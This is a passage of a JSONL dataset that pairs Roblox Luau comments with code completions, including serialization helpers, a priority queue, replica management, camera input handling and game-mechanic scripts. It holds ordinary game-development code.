Tuple\n\tSer.Serialize(value: any) -> any\n\tSer.Deserialize(value: any) -> any\n\tSer.UnpackArgs(args: table) -> Tuple\n\n--]]", "completion": "\n\n\nlocal Option = require(script.Parent.Option)\n\nlocal Ser = {}\n\nSer.Classes = {\n\tOption = {\n\t\tSerialize = function(opt) return opt:Serialize() end;\n\t\tDeserialize = Option.Deserialize;\n\t};\n}\n\n\nfunction Ser.SerializeArgs(...)\n\tlocal args = table.pack(...)\n\tfor i,arg in ipairs(args) do\n\t\tif (type(arg) == \"table\") then\n\t\t\tlocal ser = Ser.Classes[arg.ClassName]\n\t\t\tif (ser) then\n\t\t\t\targs[i] = ser.Serialize(arg)\n\t\t\tend\n\t\tend\n\tend\n\treturn args\nend\n\n\nfunction Ser.SerializeArgsAndUnpack(...)\n\tlocal args = Ser.SerializeArgs(...)\n\treturn table.unpack(args, 1, args.n)\nend\n\n\nfunction Ser.DeserializeArgs(...)\n\tlocal args = table.pack(...)\n\tfor i,arg in ipairs(args) do\n\t\tif (type(arg) == \"table\") then\n\t\t\tlocal ser = Ser.Classes[arg.ClassName]\n\t\t\tif (ser) then\n\t\t\t\targs[i] = ser.Deserialize(arg)\n\t\t\tend\n\t\tend\n\tend\n\treturn args\nend\n\n\nfunction Ser.DeserializeArgsAndUnpack(...)\n\tlocal args = Ser.DeserializeArgs(...)\n\treturn table.unpack(args, 1, args.n)\nend\n\n\nfunction Ser.Serialize(value)\n\tif (type(value) == \"table\") then\n\t\tlocal ser = Ser.Classes[value.ClassName]\n\t\tif (ser) then\n\t\t\tvalue = ser.Serialize(value)\n\t\tend\n\tend\n\treturn value\nend\n\n\nfunction Ser.Deserialize(value)\n\tif (type(value) == \"table\") then\n\t\tlocal ser = Ser.Classes[value.ClassName]\n\t\tif (ser) then\n\t\t\tvalue = ser.Deserialize(value)\n\t\tend\n\tend\n\treturn value\nend\n\n\nfunction Ser.UnpackArgs(args)\n\treturn table.unpack(args, 1, args.n)\nend\n\n\nreturn Ser\n"} +{"prompt": "--!strict\n--[=[\n\t@function some\n\t@within Array\n\n\t@param array {T} -- The array to check.\n\t@param predicate (value: T, index: number, array: {T}) -> any -- The predicate to use to check the array.\n\t@return boolean -- Whether some item in the array passes the predicate.\n\n\tChecks whether some item in the array passes the predicate.\n\n\t```lua\n\tlocal array = { 1, 2, 3 }\n\n\tlocal value = Some(array, function(item, index)\n\t\treturn item > 1\n\tend) -- true\n\n\tlocal value = Some(array, function(item, index)\n\t\treturn item > 3\n\tend) -- false\n\t```\n]=]", "completion": "\nlocal function some(\n\tarray: { T },\n\tpredicate: (value: T, index: number, array: { T }) -> any\n): boolean\n\tfor index, value in ipairs(array) do\n\t\tif predicate(value, index, array) then\n\t\t\treturn true\n\t\tend\n\tend\n\n\treturn false\nend\n\nreturn some\n"} +{"prompt": "--[[\n\tThis PriorityQueue implementation has max priority == highest p value\n\tModifications by Andrew Moss (Code Kingdoms)\n\t- add peek()\n\t- change constructor to our idiomatic style\n\t- spaces converted to tabs\n]]", "completion": " --\n\nlocal floor = math.floor\n\nlocal PriorityQueue = {}\n\nPriorityQueue.new = function()\n\tlocal priorityQueue = {\n\t\theap = {},\n\t\tcurrent_size = 0\n\t}\n\n\tsetmetatable(\n\t\tpriorityQueue,\n\t\t{\n\t\t\t__index = PriorityQueue\n\t\t}\n\t)\n\n\treturn priorityQueue\nend\n\nfunction PriorityQueue:empty()\n\treturn self.current_size == 0\nend\n\nfunction PriorityQueue:size()\n\treturn self.current_size\nend\n\nfunction PriorityQueue:swim()\n\t-- Swim up on the tree and fix the order heap property.\n\tlocal heap = self.heap\n\tlocal floor = floor\n\tlocal i = self.current_size\n\n\twhile floor(i / 2) > 0 do\n\t\tlocal half = floor(i / 2)\n\t\tif heap[i][2] < heap[half][2] then\n\t\t\theap[i], heap[half] = heap[half], heap[i]\n\t\tend\n\t\ti = half\n\tend\nend\n\nfunction PriorityQueue:put(v, p) -- --\n\t--[[ Put an item on the queue.\n\tArgs:\n\t\tv: the item to be stored\n\t\tp(number): the priority of the item\n\t]]\n\tself.heap[self.current_size + 1] = {v, p}\n\tself.current_size = self.current_size + 1\n\tself:swim()\nend\n\nfunction PriorityQueue:sink()\n\t-- Sink down on the tree and fix the order heap property.\n\tlocal size = self.current_size\n\tlocal heap = self.heap\n\tlocal i = 1\n\n\twhile (i * 2) <= size do\n\t\tlocal mc = self:min_child(i)\n\t\tif heap[i][2] > heap[mc][2] then\n\t\t\theap[i], heap[mc] = heap[mc], heap[i]\n\t\tend\n\t\ti = mc\n\tend\nend\n\nfunction PriorityQueue:min_child(i)\n\tif (i * 2) + 1 > self.current_size then\n\t\treturn i * 2\n\telse\n\t\tif self.heap[i * 2][2] < self.heap[i * 2 + 1][2] then\n\t\t\treturn i * 2\n\t\telse\n\t\t\treturn i * 2 + 1\n\t\tend\n\tend\nend\n\nfunction PriorityQueue:pop()\n\t-- Remove and return the top priority item\n\tlocal heap = self.heap\n\tlocal retval = heap[1][1]\n\theap[1] = heap[self.current_size]\n\theap[self.current_size] = nil\n\tself.current_size = self.current_size - 1\n\tself:sink()\n\treturn retval\nend\n"} +{"prompt": "----- Private functions -----", "completion": "\n\nlocal function GetWriteLibFunctionsRecursive(list_table, pointer, name_stack)\n\tfor key, value in pairs(pointer) do\n\t\tif type(value) == \"table\" then\n\t\t\tGetWriteLibFunctionsRecursive(list_table, value, name_stack .. key .. \".\")\n\t\telseif type(value) == \"function\" then\n\t\t\ttable.insert(list_table, {name_stack .. key, value})\n\t\telse\n\t\t\terror(\"[ReplicaController]: Invalid write function value \\\"\" .. tostring(value) .. \"\\\" (\" .. typeof(value) .. \"); name_stack = \\\"\" .. name_stack .. \"\\\"\")\n\t\tend\n\tend\nend\n\nlocal function LoadWriteLib(write_lib_module)\n\tlocal get_write_lib_pack = LoadedWriteLibPacks[write_lib_module]\n\tif get_write_lib_pack ~= nil then\n\t\treturn get_write_lib_pack\n\tend\n\n\tlocal write_lib_raw = require(write_lib_module)\n\n\tlocal function_list = {} -- func_id = {func_name, func}\n\n\tGetWriteLibFunctionsRecursive(function_list, write_lib_raw, \"\")\n\ttable.sort(function_list, function(item1, item2)\n\t\treturn item1[1] < item2[1] -- Sort functions by their names - this creates a consistent indexing on server and client-side\n\tend)\n\n\tlocal write_lib = {} -- {[func_id] = function, ...}\n\tlocal write_lib_dictionary = {} -- {[\"function_name\"] = func_id, ...}\n\n\tfor func_id, func_params in ipairs(function_list) do\n\t\twrite_lib[func_id] = func_params[2]\n\t\twrite_lib_dictionary[func_params[1]] = func_id\n\tend\n\n\tlocal write_lib_pack = {write_lib, write_lib_dictionary}\n\n\tLoadedWriteLibPacks[write_lib_module] = write_lib_pack\n\n\treturn write_lib_pack\nend\n\nlocal function StringPathToArray(path)\n\tlocal path_array = {}\n\tif path ~= \"\" then\n\t\tfor s in string.gmatch(path, \"[^%.]+\") do\n\t\t\ttable.insert(path_array, s)\n\t\tend\n\tend\n\treturn path_array\nend\n\nlocal function DestroyReplicaAndDescendantsRecursive(replica, not_first_in_stack)\n\t-- Scan children replicas:\n\tfor _, child in ipairs(replica.Children) do\n\t\tDestroyReplicaAndDescendantsRecursive(child, true)\n\tend\n\n\tlocal id = replica.Id\n\t-- Clear replica entry:\n\tReplicas[id] = nil\n\t-- Cleanup:\n\treplica._maid:Cleanup()\n\t-- Clear from children table of top parent replica:\n\tif not_first_in_stack ~= true then\n\t\tif replica.Parent ~= nil then\n\t\t\tlocal children = replica.Parent.Children\n\t\t\ttable.remove(children, table.find(children, replica))\n\t\tend\n\tend\n\t-- Clear child listeners:\n\tChildListeners[id] = nil\nend\n\nlocal function CreateTableListenerPathIndex(replica, path_array, listener_type)\n\t-- Getting listener table:\n\tlocal listeners = replica._table_listeners\n\t-- Getting and or creating the structure nescessary to index the path for the listened key:\n\tfor i = 1, #path_array do\n\t\tlocal key_listeners = listeners[1][path_array[i]]\n\t\tif key_listeners == nil then\n\t\t\tkey_listeners = {[1] = {}}\n\t\t\tlisteners[1][path_array[i]] = key_listeners\n\t\tend\n\t\tlisteners = key_listeners\n\tend\n\n\tlocal listener_type_table = listeners[listener_type]\n\tif listener_type_table == nil then\n\t\tlistener_type_table = {}\n\t\tlisteners[listener_type] = listener_type_table\n\tend\n\treturn listener_type_table\nend\n\nlocal function CleanTableListenerTable(disconnect_param)\n\tlocal table_listeners = disconnect_param[1]\n\tlocal path_array = disconnect_param[2]\n\tlocal pointer = table_listeners\n\tlocal pointer_stack = {pointer}\n\tfor i = 1, #path_array do\n\t\tpointer = pointer[1][path_array[i]]\n\t\ttable.insert(pointer_stack, pointer)\n\tend\n\tfor i = #pointer_stack, 2, -1 do\n\t\tlocal listeners = pointer_stack[i]\n\t\tif next(listeners[1]) ~= nil then\n\t\t\treturn -- Lower branches exist for this branch - this branch will not need further cleanup\n\t\tend\n\t\tfor k = 2, 6 do\n\t\t\tif listeners[k] ~= nil then\n\t\t\t\tif #listeners[k] > 0 then\n\t\t\t\t\treturn -- A listener exists - this branch will not need further cleanup\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tpointer_stack[i - 1][1][path_array[i - 1]] = nil -- Clearing listeners table for this branch\n\tend\nend\n\nlocal function CreateReplicaBranch(replica_entries, created_replicas) --> created_replicas: {replica, ...}\n\t-- Sorting replica entries:\n\t-- replica_entries = {[replica_id_string] = {replica_class, replica_tags, data_table, parent_id / 0, write_lib_module / nil}, ...}\n\tlocal sorted_replica_entries = {} -- {replica_class, replica_tags, data_table, parent_id / 0, write_lib_module / nil, replica_id}, ...}\n\tfor replica_id_string, replica_entry in pairs(replica_entries) do\n\t\treplica_entry[6] = tonumber(replica_id_string)\n\t\ttable.insert(sorted_replica_entries, replica_entry)\n\tend\n\ttable.sort(sorted_replica_entries, function(a, b)\n\t\treturn a[6] < b[6]\n\tend)\n\tlocal waiting_for_parent = {} -- [parent_replica_id] = {replica, ...}\n\tcreated_replicas = created_replicas or {}\n\tfor _, replica_entry in ipairs(sorted_replica_entries) do\n\t\tlocal replica_id = replica_entry[6]\n\t\t-- Fetching replica parent:\n\t\tlocal parent_id = replica_entry[4]\n\t\tlocal parent = nil\n\t\tlocal wait_for_parent = false\n\t\tif parent_id ~= 0 then\n\t\t\tparent = Replicas[parent_id]\n\t\t\tif parent == nil then\n\t\t\t\twait_for_parent = true\n\t\t\tend\n\t\tend\n\t\t-- Fetching replica write_lib:\n\t\tlocal write_lib, write_lib_dictionary\n\t\tif replica_entry[5] ~= nil then\n\t\t\tlocal write_lib_pack = LoadWriteLib(replica_entry[5])\n\t\t\twrite_lib = write_lib_pack[1]\n\t\t\twrite_lib_dictionary = write_lib_pack[2]\n\t\tend\n\t\t-- New Replica object table:\n\t\tlocal replica = {\n\t\t\tData = replica_entry[3],\n\t\t\tId = replica_id,\n\t\t\tClass = replica_entry[1],\n\t\t\tTags = replica_entry[2],\n\n\t\t\tParent = parent,\n\t\t\tChildren = {},\n\n\t\t\t_write_lib = write_lib,\n\t\t\t_write_lib_dictionary = write_lib_dictionary,\n\n\t\t\t_table_listeners = {[1] = {}},\n\t\t\t_function_listeners = {},\n\t\t\t_raw_listeners = {},\n\n\t\t\t_signal_listeners = {},\n\t\t\t_maid = MadworkMaid.NewMaid(),\n\t\t}\n\t\tsetmetatable(replica, Replica)\n\t\t-- Setting as child to parent:\n\t\tif parent ~= nil then\n\t\t\ttable.insert(parent.Children, replica)\n\t\telseif wait_for_parent == true then\n\t\t\tlocal wait_table = waiting_for_parent[parent_id]\n\t\t\tif wait_table == nil then\n\t\t\t\twait_table = {}\n\t\t\t\twaiting_for_parent[parent_id] = wait_table\n\t\t\tend\n\t\t\ttable.insert(wait_table, replica)\n\t\tend\n\t\t-- Adding replica to replica list:\n\t\tReplicas[replica_id] = replica\n\t\ttable.insert(created_replicas, replica)\n\t\t-- Checking replicas waiting for parent:\n\t\tlocal children_waiting = waiting_for_parent[replica_id]\n\t\tif children_waiting ~= nil then\n\t\t\twaiting_for_parent[replica_id] = nil\n\t\t\tfor _, child_replica in ipairs(children_waiting) do\n\t\t\t\tchild_replica.Parent = replica\n\t\t\t\ttable.insert(replica.Children, child_replica)\n\t\t\tend\n\t\tend\n\tend\n\tif next(waiting_for_parent) ~= nil then\n\t\t-- An error occured while replicating an replica branch.\n\t\tlocal error_string = \"[ReplicaService]: BRANCH REPLICATION ERROR - Missing parents: \"\n\t\tfor parent_replica_id, child_replicas in pairs(waiting_for_parent) do\n\t\t\terror_string = error_string .. \"[\" .. tostring(parent_replica_id) .. \"]: {\"\n\t\t\tfor k, replica in ipairs(child_replicas) do\n\t\t\t\terror_string = error_string .. (k == 1 and \"\" or \", \") .. replica:Identify()\n\t\t\tend\n\t\t\terror_string = error_string .. \"}; \"\n\t\tend\n\t\terror(error_string)\n\tend\n\treturn created_replicas\nend\n"} +{"prompt": "-- To exit and enter free camera, use key shortcut Left Shift + P", "completion": "\n\nlocal player = game:GetService(\"Players\")\nwhile not player.LocalPlayer do player.Changed:wait() end\nplayer = player.LocalPlayer\nlocal camera = workspace.CurrentCamera\n\nlocal RS = game:GetService(\"RunService\")\nlocal UIS = game:GetService(\"UserInputService\")\nlocal StarterGui = game:GetService(\"StarterGui\")\n\nlocal Spring = require(script:WaitForChild(\"Spring\"))\nlocal Maid = require(script:WaitForChild(\"Maid\"))\n\nlocal WasGuiVisible = {}\nfunction ToggleGui(on)\n\tif not on then\n\t\tWasGuiVisible[\"PointsNotificationsActive\"] = StarterGui:GetCore(\"PointsNotificationsActive\")\n\t\tWasGuiVisible[\"BadgesNotificationsActive\"] = StarterGui:GetCore(\"BadgesNotificationsActive\")\n\t\tWasGuiVisible[\"Health\"] = StarterGui:GetCoreGuiEnabled(Enum.CoreGuiType.Health)\n\t\tWasGuiVisible[\"Backpack\"] = StarterGui:GetCoreGuiEnabled(Enum.CoreGuiType.Backpack)\n\t\tWasGuiVisible[\"PlayerList\"] = StarterGui:GetCoreGuiEnabled(Enum.CoreGuiType.PlayerList)\n\t\tWasGuiVisible[\"Chat\"] = StarterGui:GetCoreGuiEnabled(Enum.CoreGuiType.Chat)\n\tend\n\n\tlocal function GuiOn(name)\n\t\tif on == false then\n\t\t\treturn false\n\t\tend\n\t\tif WasGuiVisible[name] ~= nil then\n\t\t\treturn WasGuiVisible[name]\n\t\tend\n\t\treturn true\n\tend\n\n\tStarterGui:SetCore(\"PointsNotificationsActive\", GuiOn(\"PointsNotificationsActive\"))\n\tStarterGui:SetCore(\"BadgesNotificationsActive\", GuiOn(\"BadgesNotificationsActive\"))\n\n\tStarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Health, GuiOn(\"Health\"))\n\tStarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, GuiOn(\"Backpack\"))\n\tStarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.PlayerList, GuiOn(\"PlayerList\"))\n\tStarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Chat, GuiOn(\"Chat\"))\nend\n"} +{"prompt": "--\t\t\t\t\tstore:Increment(me.VAR.Level.Value) -- \u043f\u043b\u044e\u0441\u0443\u0435\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0443\u0440\u043e\u0432\u043d\u044f ", "completion": "\n\t\t\t\t\ttable.insert(creat,tag.Value) -- \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0443 \u043f\u043e\u0441\u0447\u0438\u0442\u0430\u043d\u043d\u044b\u0445\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\t\n\t-- AI.Stop()\n\trnd = Random.new(tick())\n\t--math.randomseed(tick())\n\twait(2)\n\tscript.DropBASE.Disabled=false\n\tclearParts(me)\n\twait(2)\n\tme:Destroy()\nend)\n"} +{"prompt": "--Final dependency!!", "completion": "\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\") --Get the ReplicatedStorage\nlocal Networking = ReplicatedStorage:findFirstChild(\"TeleporterNetworking\") --Try to find the TeleporterNetworking folder\n"} +{"prompt": "--[=[\n\tShorthand for `Promise:andThen(nil, failureHandler)`.\n\n\tReturns a Promise that resolves if the `failureHandler` worked without encountering an additional error.\n\n\t:::warning\n\tWithin the failure handler, you should never assume that the rejection value is a string. Some rejections within the Promise library are represented by [[Error]] objects. If you want to treat it as a string for debugging, you should call `tostring` on it first.\n\t:::\n\n\tCalling `catch` on a cancelled Promise returns a cancelled Promise.\n\n\t:::tip\n\tIf the Promise returned by `catch` is cancelled, `failureHandler` will not run.\n\n\tTo run code no matter what, use [Promise:finally].\n\t:::\n\n\t@param failureHandler (...: any) -> ...any\n\t@return Promise<...any>\n]=]", "completion": "\nfunction Promise.prototype:catch(failureHandler)\n\tassert(failureHandler == nil or isCallable(failureHandler), string.format(ERROR_NON_FUNCTION, \"Promise:catch\"))\n\treturn self:_andThen(debug.traceback(nil, 2), nil, failureHandler)\nend\n"} +{"prompt": "--Light off", "completion": "\n\tsrc.Parent.left.Value.Value = 0\n\tlight.Value = false\n\telse\n\tsrc.Parent.left.Value.Value = 1\n\tlight.Value = true\n\treturn\n\tend\nend\nend)\nsrc.Parent.ChildRemoved:connect(function(child)\n\tif child.Name==\"SeatWeld\" then \n\t\tsrc:Stop()\n\t\tscript.Parent:Destroy()\n\tend\nend)\n"} +{"prompt": "--- Active", "completion": "\nscript.Parent.OnServerEvent:Connect(function(Player)\n\tlocal Projectile = game.ReplicatedStorage.TripleYoru.TriplSlash.FXG:Clone()\n\tlocal BV = Instance.new(\"BodyVelocity\",Projectile)\n\tBV.MaxForce = Vector3.new(math.huge,math.huge,math.huge)\n\tBV.Velocity = Player.Character.HumanoidRootPart.CFrame.LookVector * 0\n\tProjectile.Parent = workspace\n\tProjectile.CanCollide = false\n\tProjectile.Anchored = false\n\tProjectile.CFrame = Player.Character.HumanoidRootPart.CFrame * CFrame.new(0,-2,0) * CFrame.fromEulerAnglesXYZ(0,4.7,0)\n\tProjectile.Touched:Connect(function(hit)\n\tif hit.Parent:FindFirstChild(\"Humanoid\") and hit.Parent.Name ~= Player.Name and hit.Parent:WaitForChild(\"Humanoid\") ~= nil and hit.Parent:WaitForChild(\"Humanoid\").Health ~= 0 and not hit.Parent:FindFirstChild(\"AlreadyHit\") then\n\t\t\tlocal Check = Instance.new(\"IntValue\", hit.Parent)\n\t\t\t\tCheck.Name = \"AlreadyHit\"\n\t\t\t\tgame.Debris:AddItem(Check ,1)\n\t\t\tlocal VCharacter = game.Workspace:FindFirstChild(Player.Name)\n\t local vPlayer = game.Players:GetPlayerFromCharacter(VCharacter)\n\t local Humanoid = hit.Parent:WaitForChild(\"Humanoid\")\n\t\t\tHumanoid:TakeDamage(100)\n\t\t\ttagHumanoid(hit.Parent:FindFirstChild(\"Humanoid\"),vPlayer)\n\t\t\twait(0.05)\n\t\t\tuntagHumanoid(hit.Parent:FindFirstChild(\"Humanoid\"))\t\n\t\tend\n\tend)\n\twait(2.9)\n\tBV:Destroy()\n\tProjectile.Transparency = 1\n\tProjectile.Anchored = false\n\twait(0.2)\n\tProjectile.CanCollide = false\n\twait(0.25)\n\tfor i = 0,5 do\n\t\t\t\twait(0.025)\n\t\t\t\tProjectile.Transparency = Projectile.Transparency + 1\n\t\t\t\tProjectile.Texture1.Transparency = Projectile.Texture1.Transparency + 1\n\t\t\t\tProjectile.Texture2.Transparency = Projectile.Texture2.Transparency + 1\n\t\t\tend\n Projectile:Destroy()\n end)\n"} +{"prompt": "---[[ Fade Out and In Settings ]]", "completion": "\nmodule.ChatWindowBackgroundFadeOutTime = 0.5 --Chat background will fade out after this many seconds.\nmodule.ChatWindowTextFadeOutTime = 30\t\t\t\t--Chat text will fade out after this many seconds.\nmodule.ChatDefaultFadeDuration = 0.8\nmodule.ChatShouldFadeInFromNewInformation = false\nmodule.ChatAnimationFPS = 20.0\n"} +{"prompt": "--CHANGE THE NAME, COPY ALL BELOW, AND PAST INTO COMMAND BAR", "completion": "\n\nlocal TycoonName = \"Testing\"\n\nif game.Workspace:FindFirstChild(TycoonName) then\n\tlocal s = nil\n\tlocal bTycoon = game.Workspace:FindFirstChild(TycoonName)\n\tlocal zTycoon = game.Workspace:FindFirstChild(\"Zednov's Tycoon Kit\")\n\tlocal new_Collector = zTycoon['READ ME'].Script:Clone()\n\tlocal Gate = zTycoon.Tycoons:GetChildren()[1].Entrance['Touch to claim!'].GateControl:Clone()\n\tif zTycoon then\n\t\tfor i,v in pairs(zTycoon.Tycoons:GetChildren()) do --Wipe current tycoon 'demo'\n\t\t\tif v then\n\t\t\t\ts = v.PurchaseHandler:Clone()\n\t\t\t\tv:Destroy()\n\t\t\tend\n\t\tend\n\t\t-- Now make it compatiable\n\t\tif s ~= nil then\n\t\t\tfor i,v in pairs(bTycoon.Tycoons:GetChildren()) do\n\t\t\t\tlocal New_Tycoon = v:Clone()\n\t\t\t\tNew_Tycoon:FindFirstChild('PurchaseHandler'):Destroy()\n\t\t\t\ts:Clone().Parent = New_Tycoon\n\t\t\t\tlocal Team_C = Instance.new('BrickColorValue',New_Tycoon)\n\t\t\t\tTeam_C.Value = BrickColor.new(tostring(v.Name))\n\t\t\t\tTeam_C.Name = \"TeamColor\"\n\t\t\t\tNew_Tycoon.Name = v.TeamName.Value\n\t\t\t\tNew_Tycoon.Cash.Name = \"CurrencyToCollect\"\n\t\t\t\tNew_Tycoon.Parent = zTycoon.Tycoons\n\t\t\t\tNew_Tycoon.TeamName:Destroy()\n\t\t\t\tv:Destroy()\n\t\t\t\tNew_Tycoon.Essentials:FindFirstChild('Cash to collect: $0').NameUpdater:Destroy()\n\t\t\t\tlocal n = new_Collector:Clone()\n\t\t\t\tn.Parent = New_Tycoon.Essentials:FindFirstChild('Cash to collect: $0')\n\t\t\t\tn.Disabled = false\n\t\t\t\tNew_Tycoon.Gate['Touch to claim ownership!'].GateControl:Destroy()\n\t\t\t\tlocal g = Gate:Clone()\n\t\t\t\tg.Parent = New_Tycoon.Gate['Touch to claim ownership!']\n\t\t\tend\n\t\telse\n\t\t\terror(\"Please don't tamper with script names or this won't work!\")\n\t\tend\n\telse\n\t\terror(\"Please don't change the name of our tycoon kit or it won't work!\")\n\tend\n\tbTycoon:Destroy()\n\tGate:Destroy()\n\tnew_Collector:Destroy()\n\tprint('Transfer complete! :)')\nelse\n\terror(\"Check if you spelt the kit's name wrong!\")\nend\n"} +{"prompt": "---Adjusts the camera Y touch Sensitivity when moving away from the center and in the TOUCH_SENSITIVTY_ADJUST_AREA", "completion": "\nfunction BaseCamera:AdjustTouchSensitivity(delta, sensitivity)\n\tlocal cameraCFrame = game.Workspace.CurrentCamera and game.Workspace.CurrentCamera.CFrame\n\tif not cameraCFrame then\n\t\treturn sensitivity\n\tend\n\tlocal currPitchAngle = cameraCFrame:ToEulerAnglesYXZ()\n\n\tlocal multiplierY = TOUCH_SENSITIVTY_ADJUST_MAX_Y\n\tif currPitchAngle > TOUCH_ADJUST_AREA_UP and delta.Y < 0 then\n\t\tlocal fractionAdjust = (currPitchAngle - TOUCH_ADJUST_AREA_UP)/(MAX_Y - TOUCH_ADJUST_AREA_UP)\n\t\tfractionAdjust = 1 - (1 - fractionAdjust)^3\n\t\tmultiplierY = TOUCH_SENSITIVTY_ADJUST_MAX_Y - fractionAdjust * (\n\t\t\tTOUCH_SENSITIVTY_ADJUST_MAX_Y - TOUCH_SENSITIVTY_ADJUST_MIN_Y)\n\telseif currPitchAngle < TOUCH_ADJUST_AREA_DOWN and delta.Y > 0 then\n\t\tlocal fractionAdjust = (currPitchAngle - TOUCH_ADJUST_AREA_DOWN)/(MIN_Y - TOUCH_ADJUST_AREA_DOWN)\n\t\tfractionAdjust = 1 - (1 - fractionAdjust)^3\n\t\tmultiplierY = TOUCH_SENSITIVTY_ADJUST_MAX_Y - fractionAdjust * (\n\t\t\tTOUCH_SENSITIVTY_ADJUST_MAX_Y - TOUCH_SENSITIVTY_ADJUST_MIN_Y)\n\tend\n\n\treturn Vector2.new(\n\t\tsensitivity.X,\n\t\tsensitivity.Y * multiplierY\n\t)\nend\n\nfunction BaseCamera:OnTouchBegan(input, processed)\n\tlocal canUseDynamicTouch = self.isDynamicThumbstickEnabled and not processed\n\tif canUseDynamicTouch then\n\t\tif self.dynamicTouchInput == nil and isInDynamicThumbstickArea(input) then\n\t\t\t-- First input in the dynamic thumbstick area should always be ignored for camera purposes\n\t\t\t-- Even if the dynamic thumbstick does not process it immediately\n\t\t\tself.dynamicTouchInput = input\n\t\t\treturn\n\t\tend\n\t\tself.fingerTouches[input] = processed\n\t\tself.inputStartPositions[input] = input.Position\n\t\tself.inputStartTimes[input] = tick()\n\t\tself.numUnsunkTouches = self.numUnsunkTouches + 1\n\tend\nend\n\nfunction BaseCamera:OnTouchChanged(input, processed)\n\tif self.fingerTouches[input] == nil then\n\t\tif self.isDynamicThumbstickEnabled then\n\t\t\treturn\n\t\tend\n\t\tself.fingerTouches[input] = processed\n\t\tif not processed then\n\t\t\tself.numUnsunkTouches = self.numUnsunkTouches + 1\n\t\tend\n\tend\n\n\tif self.numUnsunkTouches == 1 then\n\t\tif self.fingerTouches[input] == false then\n\t\t\tself.panBeginLook = self.panBeginLook or self:GetCameraLookVector()\n\t\t\tself.startPos = self.startPos or input.Position\n\t\t\tself.lastPos = self.lastPos or self.startPos\n\t\t\tself.userPanningTheCamera = true\n\n\t\t\tlocal delta = input.Position - self.lastPos\n\t\t\tdelta = Vector2.new(delta.X, delta.Y * UserGameSettings:GetCameraYInvertValue())\n\t\t\tif self.panEnabled then\n\t\t\t\tlocal adjustedTouchSensitivity = TOUCH_SENSITIVTY\n\t\t\t\tif FFlagUserTouchSensitivityAdjust then\n\t\t\t\t\tself:AdjustTouchSensitivity(delta, TOUCH_SENSITIVTY)\n\t\t\t\tend\n\n\t\t\t\tlocal desiredXYVector = self:InputTranslationToCameraAngleChange(delta, adjustedTouchSensitivity)\n\t\t\t\tself.rotateInput = self.rotateInput + desiredXYVector\n\t\t\tend\n\t\t\tself.lastPos = input.Position\n\t\tend\n\telse\n\t\tself.panBeginLook = nil\n\t\tself.startPos = nil\n\t\tself.lastPos = nil\n\t\tself.userPanningTheCamera = false\n\tend\n\tif self.numUnsunkTouches == 2 then\n\t\tlocal unsunkTouches = {}\n\t\tfor touch, wasSunk in pairs(self.fingerTouches) do\n\t\t\tif not wasSunk then\n\t\t\t\ttable.insert(unsunkTouches, touch)\n\t\t\tend\n\t\tend\n\t\tif #unsunkTouches == 2 then\n\t\t\tlocal difference = (unsunkTouches[1].Position - unsunkTouches[2].Position).magnitude\n\t\t\tif self.startingDiff and self.pinchBeginZoom then\n\t\t\t\tlocal scale = difference / math.max(0.01, self.startingDiff)\n\t\t\t\tlocal clampedScale = Util.Clamp(0.1, 10, scale)\n\t\t\t\tif self.distanceChangeEnabled then\n\t\t\t\t\tself:SetCameraToSubjectDistance(self.pinchBeginZoom / clampedScale)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tself.startingDiff = difference\n\t\t\t\tself.pinchBeginZoom = self:GetCameraToSubjectDistance()\n\t\t\tend\n\t\tend\n\telse\n\t\tself.startingDiff = nil\n\t\tself.pinchBeginZoom = nil\n\tend\nend\n\nfunction BaseCamera:OnTouchEnded(input, processed)\n\tif input == self.dynamicTouchInput then\n\t\tself.dynamicTouchInput = nil\n\t\treturn\n\tend\n\n\tif self.fingerTouches[input] == false then\n\t\tif self.numUnsunkTouches == 1 then\n\t\t\tself.panBeginLook = nil\n\t\t\tself.startPos = nil\n\t\t\tself.lastPos = nil\n\t\t\tself.userPanningTheCamera = false\n\t\telseif self.numUnsunkTouches == 2 then\n\t\t\tself.startingDiff = nil\n\t\t\tself.pinchBeginZoom = nil\n\t\tend\n\tend\n\n\tif self.fingerTouches[input] ~= nil and self.fingerTouches[input] == false then\n\t\tself.numUnsunkTouches = self.numUnsunkTouches - 1\n\tend\n\tself.fingerTouches[input] = nil\n\tself.inputStartPositions[input] = nil\n\tself.inputStartTimes[input] = nil\nend\n\nfunction BaseCamera:OnMouse2Down(input, processed)\n\tif processed then return end\n\n\tself.isRightMouseDown = true\n\tself:OnMousePanButtonPressed(input, processed)\nend\n\nfunction BaseCamera:OnMouse2Up(input, processed)\n\tself.isRightMouseDown = false\n\tself:OnMousePanButtonReleased(input, processed)\nend\n\nfunction BaseCamera:OnMouse3Down(input, processed)\n\tif processed then return end\n\n\tself.isMiddleMouseDown = true\n\tself:OnMousePanButtonPressed(input, processed)\nend\n\nfunction BaseCamera:OnMouse3Up(input, processed)\n\tself.isMiddleMouseDown = false\n\tself:OnMousePanButtonReleased(input, processed)\nend\n\nfunction BaseCamera:OnMouseMoved(input, processed)\n\tif not self.hasGameLoaded and VRService.VREnabled then\n\t\treturn\n\tend\n\n\tlocal inputDelta = input.Delta\n\tinputDelta = Vector2.new(inputDelta.X, inputDelta.Y * UserGameSettings:GetCameraYInvertValue())\n\n\tif self.panEnabled and ((self.startPos and self.lastPos and self.panBeginLook) or self.inFirstPerson or self.inMouseLockedMode) then\n\t\tlocal desiredXYVector = self:InputTranslationToCameraAngleChange(inputDelta,MOUSE_SENSITIVITY)\n\t\tself.rotateInput = self.rotateInput + desiredXYVector\n\tend\n\n\tif self.startPos and self.lastPos and self.panBeginLook then\n\t\tself.lastPos = self.lastPos + input.Delta\n\tend\nend\n\nfunction BaseCamera:OnMousePanButtonPressed(input, processed)\n\tif processed then return end\n\tself:UpdateMouseBehavior()\n\tself.panBeginLook = self.panBeginLook or self:GetCameraLookVector()\n\tself.startPos = self.startPos or input.Position\n\tself.lastPos = self.lastPos or self.startPos\n\tself.userPanningTheCamera = true\nend\n\nfunction 